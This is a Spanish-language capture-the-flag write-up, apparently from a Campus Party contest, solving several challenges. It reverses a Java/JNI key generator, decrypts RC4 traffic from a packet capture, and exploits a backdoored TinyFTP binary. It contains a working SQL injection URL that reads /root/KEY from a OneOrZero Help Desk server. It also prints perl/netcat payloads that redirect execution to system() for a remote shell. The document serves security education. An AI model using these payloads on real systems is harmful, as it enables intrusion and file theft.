    public int doLogin(String user, String psw) {
        return doNativeValidation(user, psw);
    }

```

Decompilando la libreria con IDA obtenemos la forma en la que valida el usuario y la contraseña

```

JNIEXPORT jint JNICALL Java_business_LoginLogic_doNativeValidation(JNIEnv
*env, jobject obj, jstring user, jstring password) {
    char *fecha;
    signed int result;
    time_t timer;

    time(&timer);
    fecha = ctime(&timer);
    if (strcmp(user, "admin") || strcmp(password, fecha))
        result = 0;
    else
        result = 987665421;

    return result;
}

```

El usuario es admin y la contraseña varia con el tiempo, lo importante en este punto es que al ingresar un usuario y contraseña correcta el valor devuelto es 987665421.

El principal codigo en el jar decompilado se encuentra en la funcion getCampusPartyKey que es la que retorna la clave para ingresar como llave de reto.

```

int seed = LoginLogic.getInstance().doLogin(userName, passrode);
System.out.println("MySeed=" + seed);
if (seed == 0) {
    return "Invalid AUTH!!!";
}

```

Cuando la semilla es 0 retorna "Invalid AUTH!!!", cuando la semilla es diferente a 0 calcula la llave a partir de tres algoritmos de cifrado: TripleDES, SHA1 y MD5.

Lo que se hizo fue imitar la funcionalidad del JAR creando una clase KeyGeneratorLogic como sigue a continuacion:

```

import java.io.*;
import java.util.*;
import java.security.MessageDigest;
import javax.crypto.Cipher;

```

```

import javax.crypto.spec.SecretKeySpec;
import sun.misc.BASE64Encoder;
import javax.swing.JOptionPane;

public class KeyGeneratorLogic {

    public static void main(String[] args) throws Exception {
        Calendar cal = Calendar.getInstance(TimeZone.getTimeZone("GMT-5"));
        JOptionPane.showInputDialog("KEY", getCampusPartyKey(cal));
    }

    public static String getCampusPartyKey(Calendar cal) throws Exception {
        int seed = 987665421;

        cal.set(6, 1657 + seed);
        cal.set(11, 124 + seed);
        cal.set(12, 4558 + seed);
        cal.set(13, 12354 + seed);
        cal.set(14, 548578 + seed);

        long millis = cal.getTimeInMillis();

        String var1 = millis / 1258L + "";
        String var2 = Math.log(millis) + "";
        String var3 = Math.sqrt(millis) + "";
        String var4 = var1.substring(0, var1.length() - 3) + var3;

        String var5 = var4 + var3 + var1 + var2;

        int stop = cal.get(13);

        String myText = "";
        for (int i = 0; i < stop; i++) {
            myText = new String(b(myText + var2));
            myText = new String(c(myText + var3 + var1));
            myText = myText + new String(a(var5.substring(0, 24), myText));
        }

        BASE64Encoder enc = new BASE64Encoder();
        String answer = enc.encode(myText.getBytes());
        return answer;
    }

    private static byte[] a(String key, String plainText) throws Exception {
        byte[] seedKey = key.getBytes();
        SecretKeySpec keySpec = new SecretKeySpec(seedKey, "TripleDES");
        Cipher nCipher = Cipher.getInstance("TripleDES");
        nCipher.init(1, keySpec);
        byte[] cipherbyte = nCipher.doFinal(plainText.getBytes());
        return cipherbyte;
    }

    private static byte[] b(String plainText) throws Exception {
        byte[] bytesOfMessage = plainText.getBytes("UTF-8");
        MessageDigest md = MessageDigest.getInstance("MD5");
        byte[] thedigest = md.digest(bytesOfMessage);
        return thedigest;
    }

    private static byte[] c(String plainText) throws Exception {
        MessageDigest md = MessageDigest.getInstance("SHA-1");
        byte[] shalhash = new byte[40];
    }
}

```

```
md.update(plainText.getBytes("iso-8859-1"), 0, plainText.length());
shalhash = md.digest();
return shalhash;
}
}
```

Es importante que la zona horaria sea GMT-5 y que la clase sea ejecutada en un sistema operativo Linux (Por cuestiones de codificacion, en Windows el resultado es diferente)

La llave para este reto es:

```
77+977+9RO+/vRIe77+977+914ZQYlo+77+977+9RCJf77+977+9RO+/
vUbvv70qFRxUT8uh77+9 77+9RO+/vTQ9C1JwCEcH77+977+9PO+/
vRzvv708L2Pvv73vv73KtH5b
```

Nivel 3 Reto 8 - Helpdesk

Descripcion

*La KEY la tiene el root
184.72.155.53*

Al ingresar a esta ip por http aparece

*Si no encuentras la solucion, reportalo al **helpdesk**, seguramente encontraras la **answer**.*

Por lo que ingresamos a:

<http://184.72.155.53/helpdesk/>

Y observamos un sistema de administracion de tareas opensource, lo identificamos como OneOrZero Help Desk. Vamos a la pagina de los desarrolladores, vemos que esta discontinuada y descargamos la aplicacion, debido a que la pagina decia que encontraramos la answer, el primer archivo que se audito por fallas fue answer.php, se encontro una vulnerabilidad SQL inyeccion, la cual nos permitia tambien leer archivos remotos del servidor, como la pista decia que la KEY la tenia el root, procedemos a descargar el archivo **/root/KEY**:

```
http://184.72.155.53/helpdesk/answer.php?action=download&kid=-1 union select
1,2,3,Char(75,69,89),Char(47,114,111,111,116,47),6,7,8,9,10,11 --
```

Aqui podemos ver que la key para este reto es: **ZeroDay2011**

Nivel 3 Reto 9 - Pcap con Elf

Descripcion

a este administrador le gusta hacer las cosas a su modo, con sus errores!

Archivos adjuntos

c9c568e840f20b2e8021057b23c89397

Descargamos e identificamos el archivo:

```
$ file c9c568e840f20b2e8021057b23c89397
c9c568e840f20b2e8021057b23c89397: tcpdump capture file (little-endian) - version 2.4 (Ethernet,
capture length 65535)
```

Una vez identificado el archivo como una captura tcpdump, se abre con wireshark y se analiza, se observa la transferencia de archivos mediante protocolo de FTP, entre ellos un binario de linux el cual al extraerlo y decompilarlo con IDA genera el resultado

```
int __cdecl main()
{
    size_t v1; // eax@4
    int v2; // eax@4
    size_t v3; // eax@4
    char v4; // [sp+10h] [bp-1090h]@4
    char v5; // [sp+74h] [bp-102Ch]@4
    char v6; // [sp+874h] [bp-82Ch]@4
    char v7; // [sp+C74h] [bp-42Ch]@4
    char v8; // [sp+107Eh] [bp-22h]@1
    char v9; // [sp+107Fh] [bp-21h]@1
    char v10; // [sp+1080h] [bp-20h]@1
    char v11; // [sp+1081h] [bp-1Fh]@1
    char v12; // [sp+1082h] [bp-1Eh]@1
    char v13; // [sp+1083h] [bp-1Dh]@1
    signed int v14; // [sp+1084h] [bp-1Ch]@1
    void *v15; // [sp+1088h] [bp-18h]@4
    int v16; // [sp+108Ch] [bp-14h]@1

    v8 = 52;
    v9 = 56;
    v10 = 49;
    v11 = 55;
    v12 = 57;
    v13 = 68;
    v14 = 6;
    v16 = Abre_Conexion_Inet("172.16.11.111", "hkp");
    if ( v16 == 1 )
    {
        puts("No puedo establecer conexion con el servidor");
        exit(-1);
    }
    printf("Por favor escriba su clave para almacenar: ");
    gets(&v6);
    RC4_set_key(&v7, v14, &v8);
    v1 = strlen(&v6);
    RC4(&v7, v1, &v6, &v5);
    printf("sin cifrar: *%s*\n", &v6);
    v2 = strlen(&v5);
    v15 = base64((int)&v5, v2);
```

```

printf("Base64 cifrado: *%s*\n", v15);
v3 = strlen((const char *)v15);
send(v16, v15, v3, 0);
free(v15);
Lee_Socket(v16, (int)&v4, 6);
printf("Mensaje del servidor: %s\n", &v4);
return close(v16);
}

```

Hace uso de Base64 y RC4, la llave usada por RC4 se encuentra de la variable v8-v14 que corresponde a **48179D**

Casi al final de la captura, en el paquete 135, se muestra un base64: lvtlt0r6fZlnq5gmUtqu8w==
 La idea es decodificar el base64 y descifrar el contenido con RC4 usando la clave encontrada en el binario. Usando la herramienta CrypTool, decodificamos el base64 obteniendo la cadena:

–ûe·Jú}"«~&RÚ@ó.

Usando la misma herramienta, en la opción Cifrar/Descifrar, se usa el algoritmo simétrico moderno RC4 usando una llave de 48 bits 34 38 31 37 39 44 para descifrar el contenido.

La llave para este reto es: **millavem4ssegura**

Nivel 4 Reto 10 - TinyFTP

Descripcion

186.115.195.84

Archivos adjuntos

Pista.zip

En el zip existía un archivo llamado IMAGEN.JPG, la cual se buscó con la ayuda del motor inverso de búsqueda de imágenes TinEye.com, se vio que correspondía a un actor de una serie llamado SPIKE. Debido a esto se pensó en que era necesario usar la herramienta para network fuzzing Spike.

Se hizo un scan de puertos de la IP entregada en la descripción, con los siguientes hallazgos:

```

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 5.5p1 Debian 6 (protocol 2.0)
| ssh-hostkey: 1024 42:f9:5c:29:f9:94:40:37:4d:62:3e:90:b4:2d:1e:8b (DSA)
|_ 2048 82:8a:c2:e8:74:ed:30:2e:70:b3:1b:d5:61:6a:35:e6 (RSA)
111/tcp   open  rpcbind  2 (rpc #100000)
4567/tcp  open  tram?
40430/tcp open  status   1 (rpc #100024)

```

Primero cuando el servidor ya empezó a funcionar, se pudo iniciar sesión como usuario anónimo, listar los archivos y luego descargar el archivo de p300 usando el comando PORT y una instancia de netcat para recibir la información:

```
220 Service ready for new user.(Welcome To Mighty-Pwn3R)
USER anonymous
331 Anonymous login okay, send your complete email as your password.
PASS blabla@0o0o0.com
230 User logged in, proceed.
PORT x,x,x,x,x,x
200 Command okay.
LIST
150 File status okay; about to open data connection.
226 Closing data connection.
```

```
# nc -l -p 56789
drwxr-xr-x  5 mighty-d users      4096 Jun 08 10:39 ..
drwxr-xr-x  3 mighty-d users      4096 Jun 14 10:04 .
-rw-r--r--  1 mighty-d users       590 Jun 14 10:04 p300
```

Entonces se descarga el archivo p300, con el comando RETR y poniendo a escuchar el netcat nuevamente

```
nc -l -p 56789 > p300
```

Analizando el p300 con file se obtiene:

```
# file p300
p300: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
```

Al ejecutarlo:

```
./p300 -h
Welcome to Mighty-pwn3r server system
By Mighty-D for Campus Party!
Usage: p300 [OPTIONS]
-h,
    Display p300 help
-d,
    Daemonize after startup
-s [address],
    Set the server address
-p [port],
    Set the server port
-l [limit],
    Limit to "[limit]" concurrent connections
-u [userid],
    Do filesystem operations as "[userid]"
-c [directory],
```

Default directory

Analizando el archivo se puede ver que es un binario modificado de TinyFTP, Comparando las funciones mediante IDA, se puede ver que el metodo para parsear fue modificado, y se puso un backdoor en el comando HELP, que se puede usar antes de estar autenticado, el cual despues de hacer algunas verificaciones llamaba a la funcion pwn:

```
mov rax, [rbp+var_50]
call rax ; Indirect Call Near Procedure
jmp loc_405093 ; Jump
```

Aqui se movia parte del contenido que se pasaba como parametro al comando HELP, al registro RAX, y luego se llamaba mediante call rax.

En el sistema Archlinux x86_64 donde fue probado con el siguiente comando se pudo lograr ejecucion remota:

```
perl -e 'print "HELP " . "(" x 10 . ")" x 10 . "\x3b\x73\x68\x3b" .
"A" x 32 . "\x31\x03\xac\xf7\xff\x7f" . "\n" | nc -vv localhost 5555
```

Para Debian 6 amd64 bits, sistema identificado como el que contenia el p300 backdoreado mediante nmap, el comando deberia ser:

```
perl -e 'print "HELP " . "(" x 10 . ")" x 10 . "\x3b\x73\x68\x3b" .
"A" x 32 . "\x81\xc5\xab\xf7\xff\x7f" . "\n" | nc -vv localhost 5555
```

El retorno a system se identifico de la siguiente forma

```
(gdb) b main
Breakpoint 1 at 0x401308
(gdb) r -s 0.0.0.0 -p 5555
Starting program: /home/beford/p300 -s 0.0.0.0 -p 5555
Breakpoint 1, 0x000000000401308 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x7ffff7abc580 <system>
```